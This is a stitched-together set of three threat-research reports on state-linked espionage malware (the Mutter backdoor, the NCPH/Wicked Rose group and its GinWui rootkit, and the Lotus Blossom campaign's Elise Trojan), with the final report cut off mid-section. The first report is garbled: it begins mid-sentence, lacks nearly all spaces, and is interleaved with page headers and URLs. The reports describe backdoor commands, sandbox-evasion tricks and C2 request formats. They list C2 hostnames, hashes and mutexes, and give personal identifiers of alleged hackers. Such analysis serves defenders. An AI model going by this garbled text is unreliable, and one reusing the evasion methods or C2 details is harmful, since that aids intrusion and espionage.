ItusesHTTPtocommunicatewiththeCCserverand https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-decoy-doc.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 3/12 expectsanencodedstringbetweenapairof ptagsintheresponse.
TheURLintherequesthasoneparameter, i,whichissettoanencodedrepresentationofastringthatfollowsthisformat: Mutterversioncampaignmarker?victimhostnamevictimIPaddress Wearenotcertainaboutthesecondpartofthisstring,itmaybeeitheracampaignmarkeroranextensionofthe versionnumber.
Inallourcases,itissettoeitherSN0orSN1.Actualstringsaresharedintheappendix informationattheendofthisblog.
ThisHTTPrequestpicturedinthescreenshotisfromtheolderversionofMutter.
ThenewerversionsofMutterhave averysimilarHTTPrequest,butwiththe Hostand Connectionheadersswapped.
Theresponsestringisdecodedandparsedforthefollowingcommands: m:executesashellcommand u:uploadsafiletothevictim(downloadsafilefromthevictimsperspective) d:downloadsafiletotheattacker(uploadsafilefromthevictimsperspective) R:removestheautorunregistryvalue Thesecommandsarereferencedinthecodeinthisorder,andwhensaidalouditsoundslikemutter,hencethe namechosenforthemalware.
Intheearlierversionofthisbackdoor,thedcommandwasreferenced,butthecode hadnotbeenimplementedyet.
Inbothversions,anothercommandstringfappearsalongwiththeothers,butisnot referencedinthecode.
Thisperhapsindicatesafuturefeaturetobeadded.
Thismalwareemploysseveralinterestingevasiontechniques.
Forstarters,itemploysseveralhideinplainsight techniquescommontomalwareusedintargetedattacks.
Itspecifiesfakeproperties,pretendingtobeGoogleor Microsoft.
https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-callback.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 4/12 Thisbringsustothenexthideinplainsighttacticwenoticed.
Observethesizeofthefileabove.
Itsawhopping41 megabytes.
Withrareexception,malwaretypicallyhaveasmallsizeusuallynolargerthanafewhundredkilobytes.
Whenaninvestigatorcomesacrossafilemegabytesinsize,hemaybediscouragedfromtakingacloserlook.
Interestingly,theoriginalsizeofthisparticularDLLisaround160kilobytes,althoughthePEheadersalreadyindicate itsfuturesizeasshownbelow.
ThedropperwilldecodethisDLLfromitsresourcesection,dropitontothevictims system,andproceedtofillitsresourcesectionwithrandomlygenerateddata.
Thishasanotherusefulsideeffectof givingeachDLLauniquehash,makingitmoredifficulttoidentify.
https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-dropper-properties.png https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-dll-properties.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 5/12 Inadditiontothesehidingtechniques,thismalwarealsoappearstoemploytechniquestopossiblyevadedynamic malwareanalysissystems.
Thishasbeenanongoingtrendinmalwaredevelopmentthatweandothershave observedseveraltimesinpast.
Themalwareauthorwilladdcodetodelaytheexecutionoftheimportant functionalityforsomeperiodoftimewiththeideabeingthatifthemalwarestallsforlongenough,thedynamic malwareanalysissystemwillgiveuponitandpassitoffasbenign.
Thismalwarehastworoutinesthatwecouldfind nootherpurposethanforsuchanevasion.
Oneroutineisafunctionthatsimplyrunsaseriesofloops,incrementingalocalvariableoverandover,thousandsof times.
Itultimatelydisregardsthefinalvalueofthisvariable,meaningthatthefunctionservesnopurpose.
This functioniscalledmanytimesthroughouttherestofthecode.
Itmayhavebeenimplementedforthepurposeof wastingtime.
Anotherroutineseemstohaveasimilargoal,butwithadifferentapproach.
Thistime,aloopisimplementedwitha calltosleepforashorttime.
Thisloopoccursmanytimes,andeachtimeitwillalsoallocateachunkofmemoryon theheap,performingmathoperationsonitandprintingittotheconsoleoverandoveragain.
Keepinmindthatthis memoryisnotinitializedtoanyvalueandisnotusedforanythinglaterinthecode,itisessentiallyjunkmemory.
This seemstobeanothermeansofwastingtime.
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APT.NS01.
https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-dll-size.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 6/12 CC DETAILS MostofthedomainsregisteredforCCuseinthiscampaignweredonesothroughthefreedynamicDNSProvider ChangeIP.com.
DynamicDNSisapopularoptionfordomainregistrationsinceitisfreeandprovidesaconvenient levelofanonymity.
LookingatpassiveDNSrecordsforotherdomainspointingtotheIPaddressesusedtohostthe CCservicesturnedupmanyotherrelateddomains.
Varioussubdomainsofthedomainwinsupdate.comhave pointedtoseveralIPspointedtobytheMutterdomains.
Thisisinterestingbecausethisisthenameofthefolder createdbyMutteronvictimssystems.
Furthermore,thisdomainisnotapubliclyavailabledynamicDNSprovider andtheemailaddressusedtoregisterthisdomainis binalakshminpyahoo.com.
Wecannotbecertain,but thisnamecouldbeinreferencetoBinalakshmiNepram,awriteractivistborninManipurIndiawhoisfightingfor disarmament.
Thisfitsthethemewehaveobservedfromothercluesleftbehindindecoydocuments.
Another domainthatisindirectlylinkedis agfire.comwiththisinterestingregistrationinformation.
AgniistheHindugodoffire.
NoticethecombinationofIndiaandChinareferenceshere.
Theemailaddressusedto registerthisdomainwasalsoreferencedinaChinesedeveloperforum,butnothingelseinterestingwasdiscovered aboutit.
TheIPaddresseshostingtheCCservicesarescatteredallovertheworldandarebelievedtobecompromised hosts.
ATTACKERS, TARGETS, AND TIMELINE https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-agfire-info.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 7/12 TheattackersappeartobethewellknownandprolificCommentGroupaswehadstatedinourpreviousblogon OperationBeebus.
ThislinkwasmadethroughfindingseveraloverlappingIPaddressesusedbyMutterandBeebus suchasthefollowing.
ThethemeoftheseattacksappearstobeSouthAsiapolitics.
Thehintsscatteredthroughoutthedocumentsand domainregistrantinformationwerelaidonprettythickwhichissomethingbewaryof.
Theonlylegible,sensible decoydocumentobservedsofarisrevealingoftheinterestsofatleastoneofthetargetsofthiscampaign:namely themilitarythreatofPakistanagainstIndiaanditsgrowingrelationshipswithothercountriesincludingChina.
The particulartopicofthisdecoydocumentalsoappearstobeacommonlinkbetweenmostofthetargetswehaveseen: unmannedvehicles.
ThetimelinebelowoutlinestheeventsspecifictoMutterthatwehadvisibilityinto.
Thiscampaignisstillongoingwith Muttercallbacksbeingmadetothisday.
https://www.fireeye.com/blog/threat-research/2013/02/operation-beebus.html https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-c2-link.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 8/12 APPENDIX Documents ExploitDocumentMD5: b5f4a9aac67b53762ed98fafd067c803 Exploit: CVE20120158 ExploitDocumentFilename: NA DecoyDocumentTitle: PakistansIndigenousUAVindustry DecoyDocumentAuthor: GOPALGURUNG DecoyDocumentLastModified: Aug2nd2010 FirstSeen: Aug27th2012 ExploitDocumentMD5: 92643bfa4121f1960c43c78a3d53568b Exploit: CVE20083005 ExploitDocumentFilename: 2012_3_12.xls DecoyDocumentTitle: NA https://www.fireeye.com/content/dam/legacy/blog/2013/04/mutter-timeline.png 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 9/12 DecoyDocumentAuthor: NA DecoyDocumentLastModified: Jan26th2003 FirstSeen: Mar22nd2012 ExploitDocumentMD5: 4d5a235048e94579aab0062057296186 Exploit: CVE20103333 ExploitDocumentFilename: ChangeofAddress.doc DecoyDocumentTitle: Tele:26194428 DecoyDocumentAuthor: kdly DecoyDocumentLastModified: Dec6th2011 FirstSeen: Dec7th2011 ExploitDocumentMD5: 589f10e2efdd98bfbdc34f247b6a347f Exploit: CVE20103333 ExploitDocumentFilename: Urgentmessage.doc DecoyDocumentTitle: NA DecoyDocumentAuthor: Administrator DecoyDocumentLastModified: Feb2nd2003 FirstSeen: Mar2nd2012 ExploitDocumentMD5: fd9777c90abb4b758b4aff29cfd68b98 Exploit: CVE20120158 ExploitDocumentFilename: NA DecoyDocumentTitle: TariqMasud DecoyDocumentAuthor: HaroonurRashid/Administrator DecoyDocumentLastModified: Sept112012 FirstSeen: Malware DropperFilename: update.exe DropperMD5: 725fc0d7a8e7b9e01a83111619744b6f DLLFilename: msdsp.dll Mutex: 654234576804d CCHost: cdind.antivirup.com:8081 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 10/12 DecodediValue: V0.9.6YSN1hostnameIPaddress CompileTime: Aug28th2012 DropperFilename: igfxtray.exe DropperMD5: 681a014e9d221c1003c54a2a9a1d9df8 DLLFilename: winsups.dll Mutex: mqe45tex13fw14op0 CCHost: http.4pu.com:80 DecodediValue: V0.7SN0hostnamehIPaddress CompileTime: Aug28th2012 DropperFilename: NA DropperMD5: 6aac76fc8309e29ea8a7afea48ae9b29 DLLFilename: msdsp.dll Mutex: 654234576804d CCHost: oracledata.ns01.us:80 DecodediValue: V0.9.6XSN1hostnameIPaddress CompileTime: Aug12th2012 DropperFilename: ctfmon.exe DropperMD5: d5640ae049779bbb068eff08616adb95 DLLFilename: winsups.dll Mutex: mqe45tex13fw14op0 CCHost: mydns.dns2.us:443 DecodediValue: V0.7SN0hostnameIPaddress CompileTime: Aug2nd2010 DropperFilename: igfxtray.exe DropperMD5: 681a014e9d221c1003c54a2a9a1d9df8 DLLFilename: winsups.dll Mutex: mqe45tex13fw14op0 CCHost: http.4pu.com:80 DecodediValue: V0.7SN0hostnameIPaddress CompileTime: Aug2nd2010 DropperFilename: igfxpers.exe 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 11/12 DropperMD5: 06d5dddd4c349f666d84a91d6edc4f8d DLLFilename: msdsp.dll Mutex: NA CCHost: NA DecodediValue: NA CompileTime: ThankstoDarienKindlundforhisassistanceinresearch.
ThisentrywaspostedonWedApr1715:49:57EDT2013andfiledunderAdvancedMalware,Blog,JamesT.
Bennett,TargetedAttackandThreatResearch.
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Wicked Rose and the NCPH Hacking Group by Ken Dunham Jim Melnick Zero-day attacks, where an attack occurs before public knowledge of a vulnerability is known, is a growing cause of concern for security professionals in the 21 st century.
An unprecedented number of zero-day attacks took place in 2006, largely involving Microsoft Office Files.
Ken Dunham, Director of the Rapid Response Team, and Jim Melnick, Director of Threat Operations, led the VeriSign iDefense intelligence team to track down Chinese hackers for hire out of China, responsible for many of the attacks in 2006.
Wicked Rose is the ring-leader of the NCPH hacking group and this is the story of their maturation into significant global threat by 2006.
1 Introduction to N.C.P.H.
N.C.P.H.
(Network Crack Program Hacker) has about ten members or associates.
Four core members exist as of 2006: (Wicked) Rose KuNgBiM Rodag Charles There are also some six other associates within NCPH and two other positions (possibly unfilled positions) whose purpose is unclear.
However, Rose or Wicked Rose seems to be the primary leader.
Membership rules, recruiting goals and standards are unknown.
However, some members appear to be current or former students of Sichuan University of Science and Engineering.
1 The group is responsible for development and deployment of exploit codes related vulnerabilities in Microsoft Word Malformed OLE Structure Code Execution and Microsoft Excel Malformed BIFF Structure Code Execution.
2 Public Knowledge of a Zero-Day Word Exploit The story of NCPH zero-day attacks begins publicly on May 18, 2006.
On this day the Internet Storm Center reports a new possible zero-day attack.
iDefense worked closely with SANS and other organizations to analyze the threat landscape as it related to exploitation of this vulnerability.
Within the next 36 hours, iDefense gained access to multiple codes and extracted a new rootkit called GinWui.
Independent research proved the following: Exploitation targeted a new vulnerability that allowed attackers to successfully exploit computers running fully patched versions of Microsoft Word 2002 and others.
Exploitation dated to May 12, 2006 and involved at least six unique hostile exploit files.
iDefense confirmed that attacks targeted two organizations, one in the United States and one in Japan.
Chinese-authored rootkits GinWui.
A and GinWui.
B exist in several attacks.
iDefense identified the rootkits source and authors as Chinese actor Wicked Rose and others profiled later in this report.
1 www.suse.edu.cn http://www.study-in-china.org/school/Sichuan/suse/ http://www.suse.edu.cn/ http://www.study-in-china.org/school/Sichuan/suse/ Successful installation of the rootkit requires Administrator or Debugger rights.
Initial exploitation, however, does not require Administrator rights.
iDefense identified unique malicious code attacks pointing to nease.net and authored several Snort signatures for this traffic.
iDefense continues to monitor other domains related to the attack.
The original attack upon a large DoD entity within the USA began on May 12, 2006.
Targets of the attacker were apparently Googled by the attacker.
Three variations of a Microsoft Word zero-day attack are involved in the attack.
A few dozen attack files are first distributed to less than a dozen targets to identify which version works within the organization.
Once attackers identify the vulnerable version of Microsoft Word used within the organization close to 200 messages sent out to multiple targets within the organization within 24 hours.
This second wave of attack is distributed as Planning document 5-16-2006.doc.
This code is improved beyond the first variant sent out earlier to identify the vulnerable version of Word within the targeted network.
A third attack commences on May 17, 2006.
During this period, the Internet Storm Center and others get involved and the case becomes public.
In the end, iDefense identified six unique samples, of which three are more prevalent than other variants.
3 The GinWui Backdoor Rootkit Payload Zero day attacks commenced in May 2006 attempted to install a GinWui backdoor Trojan horse and Windows rootkit.
A DLL file called winguis.dll and several SYS files install themselves when a computer is successfully attacked through an exploit.
Two versions of the GinWui rootkit are installed during several attacks in May and June 2006.
NCHP 5.0 Screenshot (GinWui Rootkit) Wicked Rose is the author of the GinWui malicious code.
His code and support posts related to GinWui distributions exist on the Chinese NCPH and Evil Octal forums.
Wicked Rose associates with WHG and others on this form.
WHT hosted version 3.0beta.3 of the NCPH remote control rootkit code on May 2, 2006.
This distribution of GinWui was largely unknown and undetected by anti-virus companies at the time of release.
Versions of GinWui used in targeted attacks of May and June 2006 are private versions, not released to the public.
This proves that Wicked Rose either constructed the zero day attacks or sold private code to users that performed the attack.
Wicked Rose later documents additional updates to his rootkit code, version .50, at http://rodag.blogbus.com/index.html.
By this time Wicked Rose was performing full-time development of this malicious code as a hacker for hire.
4 June 21, 2007 Continued US Targeted Attacks Just over a month later, following initial GinWui based targeted attacks, another Microsoft Word exploit occurs on June 21, 2006.
A spoofed e-mail is sent to a target containing a hostile Microsoft Word document.
Analysis of the attack reveals that its likely a test file used to identify what version of Word may be running within the targeted organization, rather than a refined targeted attack upon a known version of Microsoft Word.
Chinese text within the Word document reveal Chinese characters discussing a systematic evaluation of offsets for Microsoft Word exploitation: RipGof attacks reveal a Chinese string related to systematic testing of offsets for exploitation.
5 Backtracking Targeted Attacks: RipGof In June 2006 another targeted attack emerges, but its not GinWui this time but a new code, RipGof.
B.
The attack attempts to exploit MS06-027 to install RipGof.
B, a Trojan horse.
This is the same exploit code used in the former Zero-Day attacks linked to Wicked Rose and the NCPH hacking group.
The exploit code is still private at this time, proving that the author of both GinWui and RipGof attacks are the same individual or group or affiliated through underground criminal operations.
RipGof.
B is an improvement of the former exploit used in GinWui attacks.
RipGof.
B attacks included improvements to shellcode that attempts to fork to different locations based upon the address value of the stack to exploit multiple versions of Microsoft Word.
Once installed, RipGof.
B attempts to connect to enjoy.irdet.com and enjoy.bmwsee.com over TCP port 80.
It runs as a rootkit and backdoor Trojan horse and phones home to a Chinese server with stolen data.
RipGof malicious code does not exist as a distribution in the underground, leading investigators to look into the original RipGof.
A malicious code.
Over a year prior to the 2006 targeted attacks RipGof.
A emerges in the wild.
RipGof.
A attempted to exploit the Jet Engine Database exploit in March 2005.
This proves attempted exploitation and installation of code through RipGof for a year prior to more sophisticated codes and attacks.
In summary, RipGof and GinWui attacks both use the same private exploit code against Microsoft Word and both install rootkit based codes to steal and send information back to Chinese sources.
This circumstantial evidence reveals that Wicked Rose and the NCPH group likely began their exploitation efforts at least a year and a half to two years prior to sophisticated attacks that commenced in 2006.
Once the group found a vulnerability within Microsoft Word they were able to improve upon it and their targeted attack techniques to distribute multiple targeted attacks and malicious codes for criminal gain as hackers for hire.
6 Timeline of Events Wicked Rose and the NCPH hacking group are implicated in multiple Office based attacks over a two year period.
An attack in 2006 used RipGof.
B in the attack.
RipGof.
A first emerged a year earlier using an exploit that is relatively unsophisticated.
Over the next year the Evil Security Team, also out of China, creates the Dasher worm and uses the PcShares Trojan in an attack.
Wicked Rose gives a recommendation on the Trojan the day it is updated in the spring of 2006, showing a close affiliation between Wicked Rose and the Evil Security Team actors.
Multiple attacks that take place in May and June and later 2006 are related to privately held exploit code for both Microsoft Word and Excel, proven to be developed by Wicked Rose.
A timeline of proven associated events related to Wicked Rose attacks is below: April 22, 2005 - RipGof.
A JetEngine DB Attack Dec. 19, 2005 Dasher worm and PcShare Trojan attack by Evil Security Team April 27, 2006 Update to windowsupdates.net attack site April 30, 2006 - Wicked Rose Drops out of School May 2, 2006 3.0beta3 NCPH remote control (GinWui) public release May 12, 2006 - Initial probing and GinWui.
A exploitation attempts against US target May 15, 2006 - PcShare Trojan update recommended by Wicked Rose on day of new release May 16, 2006 - Update to windowsupdates.net attack site May 16, 2006 - Multiple GinWui.
A attacks against US target May 18, 2006 - SANS reports zero-day attack May 19, 2006 Update to windowsupdates.net attack site May 20, 2006 - GinWui.
B Attack May 20, 2006 - WZT Kicked out of NCPH May 29, 2006 - GinWui.
C Attack June 1, 2006 Update to windowsupdates.net attack site June 9, 2006 Mdropper.
F Attack June 14, 2006 Daserf.
A Attack June 15, 2006 Mdropper.
G Attack June 15, 2006 Booli.
A Trojan Attack June 16, 2006 - Flux.
E Attack June 18, 2006 - RipGof.
B Attack June 23, 2006 PPDropper.
A June 23, 2006 Booli.
B Trojan attack June 25, 2006 - GinWui.
D Attack June 26, 2006 - GinWui.
E Attack Sept. 27, 2006 PPDropper.
F Attack Sept. 30, 2006 GinWui.
G Attack Oct. 9, 2006 Wicked Rose reports pay increase likely in September 7 A Pictorial Introduction to Wicked Rose and NCPH Just who are Wicked Rose and the NCPH hacker group?
As it turns out, a collection of college students in China who likely room with one another and regularly support their hacking interests.
In-depth research implicates Wicked Rose as the ring-leader of the group, responsible for managing hacker for hire relationships and paying group members for their work as hackers.
During the time of targeted attacks in 2006 their income increased significantly, to full-time wages for part time hacking.
Wicked Rose, leader of the group, is pictured below: (MeiGui HeiKe) Rose Hacker QQ number is 5372453 www.mghacker.com Wicked Rose maintains a personal site at www.mghacker.com.
http://www.mghacker.com/ http://www.mghacker.com/ Wicked Roses Website: www.mghacker.com Rose is an approximate 20-year-old (2006) student at the Sichuan University of Science Engineering.
In the spring of 2006 Wicked Rose claims to have dropped out of school for full time hacking opportunities.
Specifically, on April 30, 2006 his blog entry claims he did not register for his university exam.
He performed significant updates to his rootkit code from March through June 2006.
He later returned to school by September 2006.
Wicked Rose claims responsibility on his blog for targeted e-mail based attacks containing Microsoft Word and CHM exploits from the spring of 2006.
Other NCPH-member websites include: http://rodag.blogbus.com, http://www.cppblog.com/charles and http://kungbim.blogbus.com.
The main NCPH website is www.ncph.net: NCPH Studio website www.ncph.net Registration information for ncph.net reveals a Chinese registrant: http://www.mghacker.com/ http://rodag.blogbus.com/ http://www.cppblog.com/charles http://kungbim.blogbus.com/ http://www.ncph.net/ http://www.ncph.net/ Registrant Contact: ncph studio (ncph2005126.com) si chuan li gong xue yuan zigong, Sichuan, cn 643000 P: 86.13154663992 F: 86.13154663992 The main location of the NCPH group is in Zigong, Sichuan Province, in south-central China.
Zigong, Sichuan Province, in south-central China The NCPH group (NCPH Studio) in Zigong, China, is shown here: NCPH hackers at work in the ncph studio Left to right: Wicked Rose, KuNgBiM, Charles and Rodag Additional photos featuring Wicked Rose and NCPH hackers are below, captured from their various websites and blog entries in 2006.
Chinese translation for each photo are below: Wicked Rose From an ancient Chinese poem, expressing the devotion of his heart for hacking.
After you choose the technology you love, you have to research every system and code everyday Charles: Silence belongs to our world... Charles Charles always laughs so brightly when searching for program problems Ronag Behind every successful design, he always has a slight smile KuNgBiM Only we can feel this kind of happy... Wicked Rose and NCPH hacking photos WHG (Fig) WHG is not a core member of NCPH but a close affiliate of Wicked Rose.
WHG appears to be central to development of the NCPH rootkit, aka GinWui.
WHG is credited by Wicked Rose as one of the authors of this malicious code.
WHG is an experienced malicious code author with the following contact information: E-mail address: whg163.com QQ Number: 312016 Website: http://cnasm.com Real Name: May be Zhao Jibing,.
Location: Believed to be employed in the Sichuan province of China.
WZT WZT is a former member of the NCPH group who was kicked out during the time of zero-day attacks in May 2006.
WZT was removed on May 20, 2006.
During this time period the zero- day attacks became publicly disclosed, increasing pressure upon the hacking group.
It is feasible that WZT may have offended the group in some way related to zero-day attack techniques, strife over hacker for hire deals, or competition for hacker for hire deals.
WZT is a former coding expert within the NCPH group and many years experience in hacking.
He is responsible for creating multiple tools and regularly giving credit to the infamous Li0n Chinese hacker (founder of Honker Union (HUC) Chinese group.
WZT maintains a website at tthacker.cublog.cn.
The Jiangsu Connection?
WHOIS registrant data for related domains used within attacks and hacker sites reveals a connection with the Jiangsu province of China.
One domain, windowsupdates.net, is used in attacks and revolves to an IP address in the Sichuan province.
Meanwhile, the registrant zhaofeng network is reportedly based out of Jiangsu, not Sichuan.
Some of the WHOIS information clearly contains fraudulent information to presumably direct researchers away from the true identity and location of the attacker responsible for registering the hostile domain.
The connection to the Jiangsu and Sichuan provinces remains unclear.
8 Concluding Comments Prior to Wicked Rose and NCPH hacker for hire attacks in 2006, Chinese hackers are only known for their patriotic hacking.
This disturbing development reveals two critical threats: 1) motives of Chinese hackers are changing 2) Chinese hackers are regularly associated with sophisticated attacks as of 2006.
Wicked Rose implicates himself in his early blog entries and website posts in 2006 and prior.
An unknown company or entity reportedly paid Wicked Rose for hacking at the rate of 2,000 RMB a month, about 250 USD.
At this time Wicked Rose gave 200 RMB to NCPH hackers and kept the rest for himself.
Once targeted attacks took place the payment increased five-fold to 5,000 RMB monthly with 1,000 a month going to NCPH hackers.
This is a significant amount of money in China, effectively paying hackers a full-time wage for part-time hacking.
mailto:whg163.com http://cnasm.com/ Throughout the summer of 2006, while Wicked Rose was not in school, over 35 zero-day attacks, proof-of-concept codes, and attacks against un-patched Microsoft Office vulnerabilities are discovered in the wild.
With Wicked Rose claiming responsibility for early attacks and the lead author of both GinWui and the NCPH hacking group, there is little doubt left as to his involvement in attacks to date.
By the end of 2006 attacks become increasingly sophisticated.
In one instance a popular PowerPoint file distributed during the Christmas holiday season for the last two years prior is used within a socially engineered attack upon one individual within an energy sector US based company.
The PowerPoint file is modified to include an exploit that silently installs malicious code.
This same individual receives another e-mail containing a Microsoft Word exploit.
In this case only one individual within the company is targeted, and with just two messages socially engineered for maximum success.
This is a much more targeted and stealthy approach for attacks compared to the earlier attacks performed by the group in the late spring of 2006.
NCPH continues to be a significant threat going forth for several reasons.
1.
Attacks continue to take place in the wild and are very difficult to identify on a targeted basis.
Only the most sophisticated networks and system administrators are able to properly protect and capture hostile targeted attack files before an attack takes place.
2.
NCPH is a serious dedicated hacking group that is methodical and disciplined in their development of new exploits and attacks.
3.
NCPH is motivated by both the thrill and challenge of hacking and money as a motive.
4.
Attacks by the group are highly targeted and stealthy, very difficult to detect and remove.
PALO ALTO NETWORKS 4401 Great America Parkway Santa Clara, CA 95054 www.paloaltonetworks.com OPERATION LOTUSBLOSSOM R E P O R T B Y R O B E R T FA LC O N E , J O S H G R U N Z W E I G , J E N M I L L E R - O S B O R N , R YA N O L S O N Introduction 3 Operation Details 3 Vietnam 4 Philippines 10 Taiwan and Hong Kong 11 Indonesia 12 Elise Backdoor Analysis 12 Variant A 13 Variant B 17 Variant C 20 Previous Research 23 Conclusion 24 Appendix 25 Elise Sample Details 25 Elise Executable SHA256 values 33 Elise Delivery Document SHA256 values 34 Elise Command and Control Servers 35 TABLE OF CONTENTS P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 3 Introduction Operation Lotus Blossom describes a persistent cyber espionage campaign against government and military organizations in Southeast Asia, stretching back over three years.
Nations we have identified as targeted in this campaign include Hong Kong, Taiwan, Vietnam, the Philippines and Indonesia.
The Lotus Blossom group deploys a backdoor Trojan, named Elise, after the sports car made by Group Lotus PLC of the United Kingdom.
The group relies on spear phishing attacks to infect its users, often using a malicious office document and decoy file containing content relevant to the targets occupation or interests.
The spear phishing attachment typically includes exploit code for a well-known Microsoft Office vulnerability, CVE-2012-0158, which is used to install the Trojan on the system and then display the decoy file, tricking the user into thinking the file opened correctly.
Example decoy files include: A spreadsheet listing high-level officers in the Philippine Navy, along with their dates of birth and mobile phone numbers.
The operational humanitarian and disaster response (HADR) plan for the Armed Forces of the Philippines, stamped Secret.
An invitation to the screening of a film at the Norwegian embassy.
While we have not identified specific individuals responsible for these attacks, the evidence suggests a nation state with a strong interest in Southeast Asia.
Elise is a custom backdoor Trojan, not readily available online.
The tool appears to be used exclusively by Lotus Blossom and was likely developed specifically for their operations.
The targets attacked by this group are almost exclusively military and government organizations, whose data is most valuable to other nation states, rather than criminal actors.
The fact that this campaign has been ongoing for over three years indicates the individuals behind the attack are well-resourced.
Using the Palo Alto Networks AutoFocus platform, which enables analysts to correlate the results of the hundreds of millions of reports generated by the WildFire service, Unit 42 has linked over 50 individual attacks to this campaign.
The Operational Details section of this report provides details on specific attacks against the targeted governments.
The Elise Backdoor Analysis section contains descriptions of how the three different variants of Elise operate and how they changed over time.
Domain names and IP addresses used for command and control, as well as hashes of the files used in the attacks are included in the appendix.
Operation Details Operation Lotus Blossom repeatedly targeted several Southeast Asian countries militaries and government agencies, beginning in 2012 and continuing through 2015.
The bulk of the activity discussed in this paper involves heavy targeting against both Vietnam and the Philippines during 2013 and 2014.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 4 All of the attacks use the custom backdoor Trojan named Elise, which gives the Lotus Blossom group their initial foothold in a network.
From there, they can install additional tools, move laterally, and exfiltrate data from the network.
Elise is described in more detail later in this report.
The operation relies heavily on spear phishing as the initial attack vector, with enticing subject lines and legitimate-looking decoy documents meant to trick users into believing they are opening a legitimate file, as opposed to malware.
A popular theme for the decoy documents was personnel rosters, largely claiming to be for specific military or government offices.
Another theme was the use of attractive pictures of Asian women that were sourced from the Internet.
Some of the information contained in the decoys could be found on the Internet however, it is worth noting none of the military or government themed decoys could be found.
In particular, the decoys used against the Philippines were exclusively military and government themed, with the bulk purporting to be related to the Navy.
As we were unable to find any of the decoys online, and they purport to contain sensitive information, we have not included images of them, in case the information is legitimate.
One document is even stamped Secret.
While all of the Lotus Blossom attacks appear to be the work of a single group, the infrastructure used to target each nation is largely separate (Figure 1).
Each Trojan binary in this diagram is connected to command and control (C2) IP addresses and domains that are defined in the Trojans configuration file.
Additionally, the domains are connected to email addresses used to register them, as well as IP addresses they resolve to at the time of the attack.
These links create a visual map of the attacks, which shows that, while the infrastructure is not identical in each attack, they are all connected.
In the following sections, we will take a closer look at the attacks on each nation.
Vietnam The Lotus Blossom campaign against the Vietnamese government was the most persistent and consisted of 11 waves of spear phishing, primarily during November 2014.
There were a total of eight droppers one Microsoft Excel document and five Microsoft Word documents.
All included a decoy document intended to trick users into believing they had opened a legitimate file rather than malware, and the content of each was different.
FIGURE 1 Elise backdoor samples and C2 infrastructure in distinct but overlapping groups.
Vietnam Indonesia Philippines Hong Kong Taiwan P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 5 The attacks on Vietnam break into two distinct groups.
All but three samples used overlapping C2 infrastructure (Figure 2), including two domains registered by 2759931587qq.com, which was also used registered C2 domains used in attacks against other Southeast Asian countries.
This group of attacks used the following campaign codes to identify their infections, many of which include the string Alice, which may have a significance we have not yet identified.
Alice_erpas Alice_rosey Alice_15A Alice_Spider Alice_vishipel jessica-cpt-app oyf ooo FIGURE 2 Elise samples and infrastructure used to target the Vietnamese government.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 6 The second group of attacks (Figure 3) used a different registrant not seen elsewhere in this activity, but overlap with targeting, campaign code structure, and one C2 IP address.
While the other domains maintained the information they were originally registered with, one domain used here was registered by paulzzyeah.net and then updated to studywindows123outlook.com.
The initial registrant also registered other domains detailed in this paper, targeting other Southeast Asian countries prior to their updating, indicating this may be a reseller favored by particular APT group(s).
It could also be a simple matter of actor preference, but we cannot say for sure one way or the other.
The other domain used a registrar that does not show any registration information.
The three campaign codes used with these samples are below.
QY030610 KITY01232 KITY090901 FIGURE 4 Instructions on how to install and use LogFusion, a legitimate tool used to parse log files.
FIGURE 3 Diagram of second group of Vietnam attacks.
Most of the attachments used in this campaign had a technical theme, shown in figures two through four.
Additionally, all were written in Vietnamese.
We are not including an image of one sample, as it claims to be a certification test for a particular type of VSAT terminals.
It is unknown how the actors obtained a test for this course, assuming the questions are legitimate.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 7 FIGURE 5 The agenda for Vietnams Ministry of Information and Communication workshop with Vibrand, which was held on 4 December 2014.
The purpose of the workshop was promoting the development of products and IT services in Vietnam.
FIGURE 6 Excel spreadsheet titled VPTW Transfer Network Phase 2 and lists a number of provinces in Vietnam as well as Taiyuan in China.
P A L O A LT O N E T W O R K S O p e r a t i o n L o t u s B l o s s o m 8 The final four sample decoy documents had very different themes.
One was an invitation to an event at the Norwegian Embassy in Vietnam commemorating the anniversary of the Kon-Tiki voyage (Figure 7).
Of note, the date of the invitation is incorrect the actual event took place 11 and 12 December 2014.
